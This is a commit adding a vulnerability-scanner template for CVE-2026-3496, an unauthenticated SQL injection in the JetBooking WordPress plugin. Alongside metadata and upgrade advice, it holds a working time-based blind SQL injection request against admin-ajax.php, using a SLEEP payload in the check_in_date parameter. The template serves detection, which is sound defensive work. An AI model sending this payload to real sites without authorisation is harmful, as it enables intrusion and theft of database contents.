Create CVE-2026-3496.yaml

2026-11-07 08:36:19 -10:00 · 2026-03-17 11:10:44 +05:30
1 changed files with 43 additions and 0 deletions
@@ -0,0 +1,43 @@
+id: CVE-2026-3496
+
+info:
+  name: JetBooking <= 4.0.3 - Unauthenticated SQL Injection
+  author: pussycat0x
+  severity: critical
+  description: |
+    JetBooking WordPress plugin <= 4.0.3 contains a SQL injection caused by insufficient escaping of 'check_in_date' parameter, letting unauthenticated attackers extract sensitive database information, exploit requires crafted input.
+  impact: |
+    Unauthenticated attackers can extract sensitive database information, potentially leading to data disclosure.
+  remediation: |
+    Upgrade JetBooking to version 4.0.4 or later.
+  reference:
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jet-booking/jetbooking-403-unauthenticated-sql-injection-via-check-in-date-parameter
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2026-3496
+    cwe-id: CWE-89
+  metadata:
+    verified: true
+    vendor: crocoblock
+    product: jet-booking
+    framework: wordpress
+  tags: cve,cve2026,sqli,wordpress,wp-plugin,jetbooking,unauth
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        X-Requested-With: XMLHttpRequest
+
+        action=jet_booking_check_availability&post_id=1&check_in_date=' AND (SELECT 1 FROM (SELECT(SLEEP(6)))a)-- -&check_out_date=2026-12-31
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains_any(body, "available","jet_booking")'
+        condition: and